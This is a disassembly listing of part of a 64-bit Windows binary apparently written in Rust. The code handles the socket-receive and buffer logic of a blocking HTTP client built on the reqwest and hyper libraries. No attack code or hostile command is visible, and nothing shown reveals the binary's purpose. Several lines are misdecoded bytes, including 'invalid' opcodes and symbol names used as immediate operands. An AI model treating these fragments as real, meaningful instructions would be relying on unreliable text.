movups xmm2, xmmword [rbx + 0xac0]
movups xmm3, xmmword [rbx + 0xad0]
lea rax, [rbx + 0x450]
movups xmmword [rax + 0x30], xmm3
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
mov qword [rbx + 0x490], rdx
mov qword [rbx + 0x498], rsi
mov rsi, rax
mov qword [rbx + 0x4a0], rdi
mov qword [rbx + 0x4a8], r8
mov qword [rbx + 0x4b8], r12
mov byte [rbx + 0x4c0], 0
mov eax, dword [rbx + 0x238]
mov ecx, dword [rbx + 0x23b]
mov dword [r13 + 0xec], ecx
mov dword [r13 + 0xe9], eax
mov r12d, dword [rbx + 0xb8]
mov rax, qword [rbx + 0x4b8]
mov qword [rbx + 0x4b0], rax
movdqu xmm0, xmmword [r13 + 0xb8]
movups xmm1, xmmword [r13 + 0xc8]
movups xmmword [rsi + 0x10], xmm1
movdqu xmmword [rsi], xmm0
mov qword [rbx + 0x480], rax
mov byte [rbx + 0x488], 0
mov rcx, qword [rbx + 0x480]
mov qword [rbx + 0x470], rcx
lea rax, [rbx + 0x470]
mov qword [rbx + 0x478], rax
lea rdx, [rbx + 0x230]
call fcn.1400882a0
test rax, rax
je 0x14000f8a4
mov byte [rbx + 0x488], 3
mov eax, 1
test rax, rax
je 0x14000f8b9
mov byte [rbx + 0x4c0], 3
mov byte [rbx + 0x510], 3
mov eax, 1
mov cl, 3
test rax, rax
jne 0x140010183
mov rcx, r13
call fcn.14012e400
test r15, r15
jne 0x14001073c
mov byte [rbx + 0x3d0], 0
mov rax, qword [rbx + 0x380]
mov qword [rbx + 0x3d8], rax
jmp case.0x14001099d.4
mov r8, qword [rbx + 0x2d8]
test r8, r8
je 0x140010039
add r8, qword [rbx + 0x3d8]
mov qword [rbx + 0xa60], r8
cmp r8, qword [rbx + 0x3e0]
ja 0x14001086e
mov qword [rbx + 0x3d8], r8
jmp 0x1400100e3
mov rdx, r14
mov rax, r14
jmp 0x14001058e
mov rdx, qword [rbx + 0x380]
test rdx, rdx
mov r12, qword [rbx + 0xd8]
je 0x140010793
mov rax, qword [rdx + 0x30]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rdx + 0x30], rcx
jne 0x140010753
and eax, 0xa
cmp eax, 8
jne 0x140010775
mov rcx, qword [rdx + 0x10]
mov rax, qword [rdx + 0x18]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbx + 0x380]
test rax, rax
je 0x140010793
lock dec qword [rax]
jne 0x140010793
mov rcx, qword [rbx + 0x380]
call fcn.1401204a0
mov r13d, 4
jmp 0x140010c89
mov edx, 1
mov rcx, r14
call fcn.14016c090
ud2
lea rcx, str.tx_only_taken_on_error
lea r8, str.C:UsersUser.cargo_registry_srcgithub.com_1ecc6299db9ec823_reqwest_0.11.22_src_blocking_body.rs
jmp 0x140010862
mov ecx, 0x38
jmp 0x14000f81c
mov qword [rbx + 0xa60], rcx
lea rax, [rbx + 0x1020]
mov qword [rbx + 0x200], rax
lea rax, [0x140152320]
mov qword [rbx + 0x208], rax
lea rcx, [rbx + 0xa60]
mov qword [rbx + 0x210], rcx
mov qword [rbx + 0x218], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rbx + 0xd90], rax
mov qword [rbx + 0xd98], 2
mov qword [rbx + 0xd80], 0
lea rax, [rbx + 0x200]
mov qword [rbx + 0xda0], rax
mov qword [rbx + 0xda8], 2
lea rdx, str.C:UsersUser.cargo_registry_srcgithub.com_1ecc6299db9ec823_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcgithub.com_1ecc6299db9ec823hyper_0.14.27_src_body_body.rs
lea rcx, [rbx + 0xd80]
call fcn.14016f2f0
ud2
lea rcx, str.tx_only_taken_on_error
lea r8, str.C:UsersUser.cargo_registry_srcgithub.com_1ecc6299db9ec823_reqwest_0.11.22_src_blocking_body.rs
mov edx, reloc.WS2_32.dll_shutdown
call fcn.14016f690
ud2
lea rax, [rbx + 0xa60]
mov qword [rbx + 0x200], rax
lea rax, [fcn.14005a1b0]
mov qword [rbx + 0x208], rax
lea rcx, [rbx + 0x3e0]
mov qword [rbx + 0x210], rcx
mov qword [rbx + 0x218], rax
lea rax, str.new_len____capacity_
mov qword [rbx + 0xd90], rax
mov qword [rbx + 0xd98], 2
mov qword [rbx + 0xd80], 0
add byte [rax], al
add byte [rax], al
lea rax, [rbx + 0x200]
mov qword [rbx + 0xda0], rax
mov qword [rbx + 0xda8], 2
lea rdx, str.C:UsersUser.cargo_registry_srcgithub.com_1ecc6299db9ec823_bytes_1.5.0_src_bytes_mut.rs
sbb eax, 0x8b8d4800
or byte [0x141e908ed], 0xea
invalid
add byte [rdi], cl
invalid
sbb eax, 0x8b8d4800
or byte [0x141e908ed], 0xea
adc eax, 0x480b0f00
lea rcx, [rbx + 0xd80]
lea rcx, [rbx + 0xd80]
lea r8, [rbx + 0x230]
mov rdx, r13
call fcn.14012dee0
mov r13, qword [rbx + 0xde0]
cmp r13, 5
jne 0x1400109b9
mov cl, 4
lea r13, [rbx + 0x3d8]
mov byte [rbx + 0x3d1], cl
cmp r12d, 0x3b9aca00
je 0x140010196
call fcn.1401484d0
mov r8d, edx
mov rcx, qword [rbx + 0xa0]
cmp rax, rcx
jb 0x140010957
jne 0x140010b26
cmp r8d, r12d
jae 0x140010b26
mov qword [rbx + 0xd80], rcx
mov dword [rbx + 0xd88], r12d
lea rcx, [rbx + 0xd80]
mov rdx, rax
call fcn.1401486a0
xor ecx, ecx
cmp edx, 0x3b9aca00
cmove edx, ecx
cmovne rcx, rax
call fcn.14013e350
movzx eax, byte [rbx + 0x3d1]
lea rcx, [0x1400113d0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rcx, str._async_fn__resumed_after_completionunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, str.C:UsersUser.cargo_registry_srcgithub.com_1ecc6299db9ec823_reqwest_0.11.22_src_blockingclient.rsthread_not_dropped_yet
mov edx, 0x23
call fcn.14016f3d0
ud2
mov r15, qword [rbx + 0xd80]
movups xmm0, xmmword [rbx + 0xd88]
movaps xmmword [rbx + 0x140], xmm0
movups xmm0, xmmword [rbx + 0xd98]
movaps xmmword [rbx + 0x150], xmm0
movups xmm0, xmmword [rbx + 0xda8]
movaps xmmword [rbx + 0x160], xmm0
movups xmm0, xmmword [rbx + 0xdb8]
movaps xmmword [rbx + 0x170], xmm0
movups xmm0, xmmword [rbx + 0xdc8]
movaps xmmword [rbx + 0x180], xmm0
mov rax, qword [rbx + 0xdd8]
mov qword [rbx + 0x190], rax
movups xmm0, xmmword [rbx + 0xde8]
movaps xmmword [rbx + 0x2a0], xmm0
movups xmm0, xmmword [rbx + 0xdf8]
movaps xmmword [rbx + 0x2b0], xmm0
movdqu xmm0, xmmword [rbx + 0xe08]
movdqa xmmword [rbx + 0x2c0], xmm0
mov rdx, qword [rbx + 0x3d8]
test rdx, rdx
mov r12, qword [rbx + 0xd8]
je 0x140010a97
mov rax, qword [rdx + 0x30]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rdx + 0x30], rcx
jne 0x140010a57
and eax, 0xa
cmp eax, 8
jne 0x140010a79
mov rcx, qword [rdx + 0x10]
mov rax, qword [rdx + 0x18]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbx + 0x3d8]
test rax, rax
je 0x140010a97
lock dec qword [rax]
jne 0x140010a97
mov rcx, qword [rbx + 0x3d8]
call fcn.1401204a0
cmp r13d, 4
je 0x14000f80e
mov rax, qword [rbx + 0x190]
mov qword [rbx + 0x290], rax
movaps xmm0, xmmword [rbx + 0x180]
movaps xmmword [rbx + 0x280], xmm0
movaps xmm0, xmmword [rbx + 0x140]
movaps xmm1, xmmword [rbx + 0x150]
movaps xmm2, xmmword [rbx + 0x160]
movaps xmm3, xmmword [rbx + 0x170]
movaps xmmword [rbx + 0x270], xmm3
movaps xmmword [rbx + 0x260], xmm2
movaps xmmword [rbx + 0x250], xmm1
movaps xmmword [rbx + 0x240], xmm0
movdqa xmm0, xmmword [rbx + 0x2a0]
movaps xmm1, xmmword [rbx + 0x2b0]
movaps xmm2, xmmword [rbx + 0x2c0]
movdqa xmmword [rbx + 0x7c0], xmm0
movaps xmmword [rbx + 0x7d0], xmm1
movaps xmmword [rbx + 0x7e0], xmm2
jmp 0x140010c89
movzx eax, byte [rbx + 0x3d1]
mov r13d, 4
test eax, eax
je 0x140010bae
cmp eax, 3
mov r12, qword [rbx + 0xd8]
je 0x140010c21
cmp eax, 4
jne 0x140010c86
mov rdx, qword [rbx + 0x3d8]
test rdx, rdx
je 0x140010c2d
mov rax, qword [rdx + 0x30]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rdx + 0x30], rcx
jne 0x140010b64
and eax, 0xa
cmp eax, 8
jne 0x140010b86
mov rcx, qword [rdx + 0x10]
mov rax, qword [rdx + 0x18]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbx + 0x3d8]
test rax, rax
je 0x140010c2d
lock dec qword [rax]
jne 0x140010c2d
mov rcx, qword [rbx + 0x3d8]
call fcn.1401204a0
jmp 0x140010c2d
mov rcx, qword [rbx + 0x388]
mov rax, qword [rbx + 0x390]
call qword [rax]
mov rax, qword [rbx + 0x390]
cmp qword [rax + 8], 0
mov r12, qword [rbx + 0xd8]
je 0x140010bf4
mov r8, qword [rbx + 0x388]
cmp qword [rax + 0x10], 0x11
jb 0x140010be5
mov r8, qword [r8 - 8]
mov rcx, qword [0x140221370]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, [rbx + 0x3a8]
call fcn.1400e0d60
mov rdx, qword [rbx + 0x380]
test rdx, rdx
je 0x140010c86
mov rax, qword [rdx + 0x30]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rdx + 0x30], rcx
jne 0x140010c10
jmp 0x140010c55
lea rcx, [rbx + 0x3d8]
call fcn.14012e400
cmp byte [rbx + 0x3d0], 0
je 0x140010c86
mov rdx, qword [rbx + 0x380]
test rdx, rdx
je 0x140010c86
mov rax, qword [rdx + 0x30]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rdx + 0x30], rcx
jne 0x140010c46
and eax, 0xa
cmp eax, 8
jne 0x140010c68
mov rcx, qword [rdx + 0x10]
mov rax, qword [rdx + 0x18]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbx + 0x380]
test rax, rax
je 0x140010c86
lock dec qword [rax]
jne 0x140010c86
mov rcx, qword [rbx + 0x380]
call fcn.1401204a0
xor r15d, r15d
mov rcx, qword [rbx + 0xb90]
mov rax, qword [rbx + 0xb98]
call qword [rax + 0x18]
cmp r13d, 3
mov r8d, dword [rbx + 0x134]
mov esi, dword [rbx + 0x130]
mov edx, dword [rbx + 0x12c]
je 0x140010cc2
cmp r13d, 4
jne 0x140010d0c
test r15, r15
je 0x140010dd9
cmp dword [r15 + 0x28], 2
mov rdi, r15
je 0x140010e43
cmp qword [r15 + 0x10], 0
mov rdi, r15
je 0x140010e43
mov r8, qword [r15 + 0x18]
mov rcx, qword [0x140221370]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov edx, dword [rbx + 0x12c]
mov esi, dword [rbx + 0x130]
mov r8d, dword [rbx + 0x134]
mov rdi, r15
jmp 0x140010e43
lock inc qword [r12]
jle 0x140010f6d
mov rax, qword [rbx + 0x290]
mov qword [rbx + 0x360], rax
movaps xmm0, xmmword [rbx + 0x280]
movaps xmmword [rbx + 0x350], xmm0
movaps xmm0, xmmword [rbx + 0x240]
movaps xmm1, xmmword [rbx + 0x250]
movaps xmm2, xmmword [rbx + 0x260]
movaps xmm3, xmmword [rbx + 0x270]
movaps xmmword [rbx + 0x340], xmm3
movaps xmmword [rbx + 0x330], xmm2
movaps xmmword [rbx + 0x320], xmm1
movaps xmmword [rbx + 0x310], xmm0
movdqa xmm0, xmmword [rbx + 0x7c0]
movaps xmm1, xmmword [rbx + 0x7d0]
movaps xmm2, xmmword [rbx + 0x7e0]
movdqa xmmword [rbx + 0xc00], xmm0
movaps xmmword [rbx + 0xc10], xmm1
movaps xmmword [rbx + 0xc20], xmm2
cmp qword [rbx + 0xc8], 0
mov rsi, qword [rbx + 0xe0]
je 0x140010f5d
mov rcx, qword [0x140221370]
xor eax, eax
mov qword [rbx + 0xd0], rax
xor edx, edx
mov r8, qword [rbx + 0xbf8]
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp esi, 2
je 0x140010ef7
jmp 0x140010f4d
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x140010dfe
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000f82f
mov rcx, rax
mov qword [0x140221370], rax
mov r8d, WSAStartup
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000f82f
mov rdi, rax
mov qword [rax], 1
lea rax, method..virtual_32
mov qword [rdi + 8], rax
mov word [rdi + 0x68], 1
mov r8d, dword [rbx + 0x134]
mov esi, dword [rbx + 0x130]
mov edx, dword [rbx + 0x12c]
mov rax, qword [rbx + 0xc8]
mov qword [rdi + 0x10], rax
mov rcx, qword [rbx + 0xbf8]
mov qword [rdi + 0x18], rcx
mov qword [rdi + 0x20], rax
mov dword [rdi + 0x28], esi
mov eax, dword [rbx + 0x100]
mov dword [rdi + 0x2c], eax
mov dword [rdi + 0x30], edx
mov eax, dword [rbx + 0x120]
mov dword [rdi + 0x34], eax
mov eax, dword [rbx + 0xe8]
mov dword [rdi + 0x38], eax
mov eax, dword [rbx + 0x108]
mov dword [rdi + 0x3c], eax
mov eax, dword [rbx + 0xf0]
mov dword [rdi + 0x40], eax
mov eax, dword [rbx + 0x118]
mov dword [rdi + 0x44], eax
mov eax, dword [rbx + 0x1a4]
mov dword [rdi + 0x48], eax
mov word [rdi + 0x4c], r8w
movzx eax, word [rbx + 0x198]
mov word [rdi + 0x4e], ax
movdqa xmm0, xmmword [rbx + 0x2f0]
movdqu xmmword [rdi + 0x50], xmm0
movzx eax, byte [rbx + 0x300]
mov byte [rdi + 0x60], al
mov eax, dword [rbx + 0x380]
mov ecx, dword [rbx + 0x383]
mov dword [rdi + 0x61], eax
mov rax, rdi
mov qword [rbx + 0xd0], rdi
mov dword [rdi + 0x64], ecx
mov r13d, 3
mov rsi, qword [rbx + 0xe0]
cmp esi, 2
jne 0x140010f4d
mov rax, qword [rbx + 0x810]
cmp eax, 2
je 0x140010f4d
mov r14, qword [rbx + 0x800]
mov rsi, qword [rbx + 0x808]
mov rcx, r14
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x140010f3a
cmp qword [rsi + 0x10], 0x11
jb 0x140010f28
mov r14, qword [r14 - 8]
mov rcx, qword [0x140221370]
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, [rbx + 0x820]
call fcn.1400e0d60
mov r14d, dword [rbx + 0xa8]
lock dec qword [r12]
je 0x14000a65b
jmp 0x14000a663
xor eax, eax
mov qword [rbx + 0xd0], rax
cmp esi, 2
je 0x140010ef7
jmp 0x140010f4d
ud2